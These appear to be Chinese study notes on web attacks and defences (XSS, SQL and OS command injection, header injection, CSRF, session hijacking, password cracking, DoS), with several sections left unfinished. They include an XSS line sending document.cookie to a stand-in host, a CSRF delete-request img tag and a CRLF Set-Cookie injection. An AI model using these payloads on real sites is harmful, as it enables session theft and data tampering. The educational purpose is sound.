Web 安全
对 web 的攻击可分为两大类:
主动攻击
该类攻击是攻击者直接对 web 服务器上的资源进行攻击,最具代表性的是 SQL 注入攻击和 OS 攻击及 DDOS 攻击。
被动攻击
攻击者不直接对服务器发起攻击,事先设置好雷区,等待雷区被触发,具有代表性的有跨站脚本攻击和跨站点请求伪造。
因输出值转义不完全引起的安全漏洞
xss 跨站脚本攻击
攻
Cross SiteScript,跨站脚本攻击,又称 css 攻击。
其核心思路就是将恶意 html 代码注入到目标网站中(如<script type="text/javascript">alert('boom!')</script>),所以经常发生在动态生成 html 的场景下。
攻击成功后可以做的事情有很多,比如将 cookie 发送出去,URL 跳转等。
只要有用户输入的地方,数据存储时没有对其进行处理,用到改数据的页面都有可能受到 XSS 攻击(对于 script 的攻击方式,数据以直接拍到页面的方式才会使攻击生效,ajax 请求到数据再通过 mvvm 框架渲染的方式是不会触发脚本的执行的。但,XSS 攻击不仅仅局限于 script)
XSS 的危害
利用虚假表单骗取用户个人信息
窃取用户 cookie
拿微博举例,如果某人发了一段包含<script>window.open(“www.aa.com?param=”+document.cookie)</script>的微博,且 XSS 攻击成功,那么看到该微博的人都会受到攻击,其 cookie 被发送至 www.aa.com
防
对用户输入的<>""''/&等字符进行转码
对关键 cookie 进行 http-only 设置,这样 js 就失去了访问 cookie 的能力
SQL 注入攻击
攻
在 web 应用对数据库的查询,添加,删除等操作环节,请求参数参与 SQL 语句生成,对于调用 SQL 语句的拼接环节存在疏忽,产生 SQL 注入攻击。
危害
非法查看无权限数据
删除数据
举例:todo
防
todo
OS 命令注入攻击
攻
web 应用可以通过 shell 调用系统命令,因此如果在调用时存在疏忽,就有可能执行了不被期望的 OS 命令。
危害
防
http 首部注入攻击
%0D%0A 代表 HTTP 报文中的换行符。比如在响应头中的
Location:www.a.com/aa?id=999
添加为Location:www.a.com/aa?id=999%0D%0ASet-Cookie: xxxx
,那么就会多出一个 set-cookie 响应头。此外,连续出现两次 %0D%0 标志着 http 头部与主体的分离,同样可以利用这个来修改响应主体。
攻
指的是攻击者通过在响应头部字段中插入换行,添加任意响应首部的一种攻击
危害
设置任意 cookie(利用 Set-Cookie 头)
重定向至任意 url(location 头)(如果 status 为 200 但是有 location 会怎么样)
防
话管理疏忽引起的安全漏洞
会话劫持
攻
通过手段拿到用户的会话 id 并以此 id 伪装为用户 de 攻击。
危害
防
跨站点请求伪造 CSRF(cross-site request Forgery)
攻
指攻击者通过事先设定好的陷阱,在用户不知道的情况下发起对某些站点的请求,从而达到修改用户在目标网站里的数据的攻击。如在 a.com 里有个<img src="b.com/account/delete" />的标签,此时用户访问 a 站点时就向 b 发起了 delete 请求,假设该接口就是 b 站点的删除帐号 api,且 b 用户恰恰刚访问了 b 站点不久,还存有未过期的 cookie,那就惨了。
危害
修改用户在目标站点的数据。
防
cookie 的有效期尽量缩短
服务器判断 referer
其他安全漏洞
密码破解
攻
字典攻击
事先收集好一组候选密码一一尝试
穷举攻击
如银行密码是四位数字,则穷举即可。
危害
防
DoS(Denial of Service)攻击
链接描述一种让运行中的服务器呈停止中的攻击分布式的多台计算机发起的 dos 攻击称为 ddos(distributed Denial of Service)攻击
攻
在第三次握手环节耍流氓不响应服务器,造成 tcp 半连接状态。不停地发送 syn 握手,就会造成服务器资源大大消耗。或者 tcp 全连接,但是每个连接都不释放,最终达到服务器上限,瘫痪
1.制造大流量无用数据,造成通往被攻击主机的网络拥塞,使被攻击主机无法正常和外界通信。2.利用被攻击主机提供服务或传输协议上处理重复连接的缺陷,反复高频的发出攻击性的重复服务请求,使被攻击主机无法及时处理其它正常的请求。3.利用被攻击主机所提供服务程序或传输协议的本身实现缺陷,反复发送畸形的攻击数据引发系统错误的分配大量系统资源,使主机处于挂起状态甚至死机。
危害
直接使服务器挂掉,影响了公司服务正常运转
防
提高服务器带宽,性能等
硬件防火墙专门过滤恶意来源的请求
ng 设置黑名单
上 cdn
评论